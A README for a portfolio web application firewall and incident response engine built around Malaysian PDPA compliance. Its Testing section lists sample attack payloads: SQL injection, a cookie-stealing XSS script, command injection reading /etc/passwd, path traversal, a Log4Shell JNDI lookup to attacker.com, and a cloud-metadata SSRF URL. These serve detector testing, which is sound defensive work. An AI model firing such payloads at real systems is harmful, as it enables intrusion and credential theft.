Share
## https://sploitus.com/exploit?id=23BFA60B-B961-553E-B28C-000FA755227F
# WAF & SOAR Engine

A cloud-native Web Application Firewall and automated incident response engine built specifically for Malaysian PDPA (Amendment) Act 2024 compliance.

Live demo: https://waf-engine.onrender.com/api/v1/health

---

## What it does

- Intercepts and inspects API requests in real time
- Detects SQL injection, XSS, command injection, path traversal, Log4Shell and SSRF
- Blocks malicious requests automatically based on additive risk scoring
- Rate limits per IP using token bucket algorithm โ€” stops brute force and flood attacks
- Writes tamper-proof audit logs with SHA256 hash chain to PostgreSQL
- Records PDPA incidents with automatic 72-hour Commissioner notification clock
- Generates JPDP Annex B breach reports in English and Bahasa Malaysia
- Fires real-time DPO Discord alerts on significant harm breaches per PDPA Section 12A
- Provides JWT-protected admin endpoints for allowlist, incident, and rights management
- Accepts data subject access and correction requests per PDPA Principle 7
- Supports live signature hot reload without server restart

---

## Architecture

Hot path (in-memory, under 50MB):

Request received โ†’ Payload decoded and canonicalized โ†’ SQL structurally parsed โ†’ XSS structurally parsed โ†’ Command injection checked โ†’ Path traversal checked โ†’ Log4Shell checked โ†’ SSRF checked โ†’ Anomaly scored โ†’ Risk score accumulated โ†’ Block or Allow decision returned

Cold path (PostgreSQL on Neon, append-only):

Audit logs, incident records, allowlist entries, data subject rights requests โ€” all written asynchronously in background threads without blocking the hot path

---

## Malaysian Legal Compliance

- Personal Data Protection (Amendment) Act 2024 โ€” enforced June 2025
- Governing authority: PDPC under JPDP, Ministry of Digital Malaysia
- Dual notification clocks: 72 hours to Commissioner, 7 days to data subjects
- Significant harm assessment gates PDPA notification โ€” not every block triggers reporting
- JPDP Annex B format report generator in English and Bahasa Malaysia
- Mandatory DPO alert channel per Section 12A โ€” fires to Discord webhook on significant harm breach
- Biometric data routes auto-elevated to Sensitive Personal Data
- Data subject rights endpoints โ€” access and correction requests per Principle 7
- BNM RMiT compliance mode for financial institutions via COMPLIANCE_MODE=PDPA_RMIT
- NACSA parallel reporting for critical infrastructure via SECTOR=CRITICAL_INFRA
- Maximum penalty: RM1,000,000 fine and 3 years imprisonment per PDPA Amendment Act 2024

---

## PDPA 7 Principles Mapping

| Principle | Implementation |
|---|---|
| General | WAF processes traffic data for security purposes only |
| Notice and Choice | Configurable via DATA_CONTROLLER_NAME and DPO_NAME env vars |
| Disclosure | Cross-border transfer flag via NOTIFICATION_ENDPOINT_REGION env var |
| Security | TLS on all connections, JWT admin auth, bcrypt passwords, encrypted audit trail |
| Retention | Configurable via AUDIT_LOG_RETENTION_DAYS and INCIDENT_RECORD_RETENTION_DAYS |
| Data Integrity | Malaysian PII scrubber on all log writes โ€” IC, phone, bank account, email, passport |
| Access | Data subject rights endpoints for access and correction requests |

---

## Tech Stack

- Python 3.12
- Flask 3.0.3
- PostgreSQL on Neon (Singapore region)
- psycopg2 for database connectivity
- sqlparse for structural SQL AST analysis
- bleach and HTMLParser for XSS structural detection
- bcrypt and PyJWT for admin authentication
- Gunicorn with 30 second timeout for Slow Loris protection
- Docker for containerisation
- Deployed on Render free tier, Singapore region

---

## Local Setup

Step 1 โ€” Clone the repository

    git clone https://github.com/Suhail2222/waf-engine.git
    cd waf-engine

Step 2 โ€” Create virtual environment using Python 3.12

    py -3.12 -m venv venv
    venv\Scripts\activate

Step 3 โ€” Install dependencies

    pip install -r requirements.txt

Step 4 โ€” Create your .env file and fill in the required variables listed below

Step 5 โ€” Run the app

    python -m app.main

Step 6 โ€” Test the health endpoint

    http://localhost:5000/api/v1/health

---

## Environment Variables

| Variable | Required | Description |
|---|---|---|
| SECRET_KEY | Yes | Flask secret key, use a long random string |
| DATABASE_URL | Yes | PostgreSQL connection string from Neon |
| DPO_EMAIL | Yes | Data Protection Officer email for PDPA alerts |
| DPO_PHONE | Yes | Data Protection Officer phone number |
| DPO_NAME | Yes | Data Protection Officer full name |
| DATA_CONTROLLER_NAME | Yes | Your organisation name |
| JPDP_SUBMISSION_EMAIL | Yes | Always pdp@kkmm.gov.my |
| COMPLIANCE_MODE | Yes | PDPA_STANDARD or PDPA_RMIT for financial sector |
| SECTOR | Yes | GENERAL, FINANCE, HEALTH, TELCO, or CRITICAL_INFRA |
| NOTIFICATION_ENDPOINT_REGION | Yes | MY or non-MY for cross-border transfer documentation |
| ALERT_WEBHOOK_URL | No | Discord or Slack webhook URL โ€” DPO alert fires here on significant harm breach |
| BLOCK_THRESHOLD | Yes | Risk score to trigger block, default 20 |
| ALERT_THRESHOLD | Yes | Risk score to trigger alert, default 10 |
| BUCKET_CAPACITY | Yes | Token bucket size per IP, default 30 |
| REFILL_RATE | Yes | Token refill per second, default 5 |
| MAX_PAYLOAD_BYTES | Yes | Maximum request size before rejection, default 8192 |
| ENVIRONMENT | Yes | development or production |
| ADMIN_USERNAME | Yes | Admin login username |
| ADMIN_PASSWORD_HASH | Yes | Generate with: python -c "import bcrypt; print(bcrypt.hashpw(b'yourpassword', bcrypt.gensalt()).decode())" |
| AUDIT_LOG_RETENTION_DAYS | Yes | Days to retain audit logs, default 365 |
| INCIDENT_RECORD_RETENTION_DAYS | Yes | Days to retain incidents, default 2555 which is 7 years |
| BLOCKED_IP_RETENTION_DAYS | Yes | Days to retain blocked IP records, default 90 |

---

## API Endpoints

| Method | Endpoint | Auth | Description |
|---|---|---|---|
| GET | /api/v1/health | None | System health and operational status |
| POST | /api/v1/inspect | None | Inspect a request for threats |
| POST | /api/v1/admin/login | None | Authenticate and receive JWT token |
| GET | /api/v1/admin/allowlist | JWT | View all allowlisted IPs |
| POST | /api/v1/admin/allowlist | JWT | Add IP to allowlist with reason |
| GET | /api/v1/admin/incidents | JWT | View all recorded incidents with 72hr countdown |
| GET | /api/v1/admin/incidents/:id/report | JWT | Generate JPDP Annex B report in English |
| GET | /api/v1/admin/incidents/:id/report?lang=BM | JWT | Generate JPDP Annex B report in Bahasa Malaysia |
| GET | /api/v1/admin/rights | JWT | View all data subject rights requests |
| POST | /api/v1/admin/signatures/reload | JWT | Hot reload signatures without server restart |
| POST | /api/v1/rights/access | None | Submit data access request per PDPA Principle 7 |
| POST | /api/v1/rights/correction | None | Submit data correction request per PDPA Principle 7 |

---

## Attack Detection

| Attack Type | Detection Method | Risk Score | Action |
|---|---|---|---|
| SQL Injection | sqlparse AST structural analysis | 15 base, up to 30 for multiple keywords | BLOCK |
| XSS | HTMLParser structural analysis plus bleach | 10 | ALERT |
| Command Injection | Shell command pattern matching via signatures.json | 15 | BLOCK |
| Path Traversal | Directory traversal pattern matching via signatures.json | 10 | ALERT |
| Log4Shell | JNDI string exact pattern matching via signatures.json | 20 | BLOCK |
| SSRF | Internal IP and cloud metadata endpoint matching via signatures.json | 20 | BLOCK |
| High entropy anomaly | Shannon entropy scoring on plain text fields | 8 | ALERT |
| Oversized payload | Hard length gate before all parsing | 413 returned | BLOCK |
| Rate limit exceeded | Token bucket per IP, 30 capacity, refills 5 per second | 999 | BLOCK |
| Biometric route attack | Any attack on biometric routes elevated to CRITICAL | CRITICAL | BLOCK |

---

## Signature Hot Reload

Attack patterns for command injection, path traversal, Log4Shell, and SSRF are stored in app/detection/signatures.json. To update patterns without restarting the server:

1. Edit signatures.json with new patterns or risk scores
2. Commit and push to GitHub โ€” Render auto-deploys
3. Or call POST /api/v1/admin/signatures/reload with a JWT token to reload instantly in memory

---

## Testing

Start the app:

    python -m app.main

SQL injection test โ€” expected BLOCKED risk_score 15:

    POST http://localhost:5000/api/v1/inspect
    {"path": "/api/login", "method": "POST", "body": {"username": "admin' UNION SELECT * FROM users--"}, "headers": {}}

XSS test โ€” expected ALERT risk_score 10:

    POST http://localhost:5000/api/v1/inspect
    {"path": "/api/login", "method": "POST", "body": {"username": "alert(document.cookie)"}, "headers": {}}

Command injection test โ€” expected BLOCKED risk_score 25:

    POST http://localhost:5000/api/v1/inspect
    {"path": "/api/login", "method": "POST", "body": {"username": "john; cat /etc/passwd"}, "headers": {}}

Path traversal test โ€” expected BLOCKED risk_score 25:

    POST http://localhost:5000/api/v1/inspect
    {"path": "/api/login", "method": "POST", "body": {"username": "../../etc/passwd"}, "headers": {}}

Log4Shell test โ€” expected BLOCKED risk_score 20:

    POST http://localhost:5000/api/v1/inspect
    {"path": "/api/login", "method": "POST", "body": {"username": "${jndi:ldap://attacker.com/exploit}"}, "headers": {}}

SSRF test โ€” expected BLOCKED risk_score 20:

    POST http://localhost:5000/api/v1/inspect
    {"path": "/api/login", "method": "POST", "body": {"url": "http://169.254.169.254/latest/meta-data"}, "headers": {}}

Rate limit flood test โ€” expected allowed 30 blocked 20:

    python tests/test_rate.py

Data subject access request test:

    POST http://localhost:5000/api/v1/rights/access
    {"email": "user@example.com", "details": "I would like to know what personal data you hold about me"}

---

## JPDP Breach Notification Procedure

When a PDPA-notifiable breach is detected the engine automatically:

1. Records the incident with detected_at timestamp
2. Starts the 72-hour Commissioner notification clock
3. Assesses significant harm โ€” personal data involved plus at least one harm factor
4. If significant harm confirmed, fires DPO Discord alert to ALERT_WEBHOOK_URL immediately

Manual steps required:

5. Log in to admin panel and retrieve the incident via GET /api/v1/admin/incidents
6. Generate the JPDP Annex B report via GET /api/v1/admin/incidents/:id/report
7. Submit to pdp@kkmm.gov.my or via https://www.pdp.gov.my before the 72-hour deadline
8. After Commissioner notification, set subjects_deadline for 7-day data subject notification

---

## DPO Discord Alert Preview

When a significant harm breach is detected the engine automatically fires an alert to the configured Discord webhook:

![DPO Discord Alert](app/images/DPO_Alert.png)

Configure your own webhook URL via the ALERT_WEBHOOK_URL environment variable.

---

## Known Limitations

- Rate limiter state is in-memory and resets on server restart
- XSS detection scores 10 which is below the default block threshold of 20 โ€” combine with other signals or lower ALERT_THRESHOLD to 8 to block on XSS alone
- Path traversal scores 10 for the same reason
- ALERT_WEBHOOK_URL must be configured with a Discord or Slack webhook URL to receive real-time DPO alerts
- Render free tier spins down after inactivity โ€” first request after sleep takes 50 seconds to respond
- This engine is a technical compliance tool and does not replace a qualified Malaysian data protection lawyer, a CREST-licensed penetration tester, or a registered DPO

---

## Author

Built by Suhail as a portfolio project demonstrating enterprise-grade security engineering and Malaysian PDPA Amendment Act 2024 compliance implementation.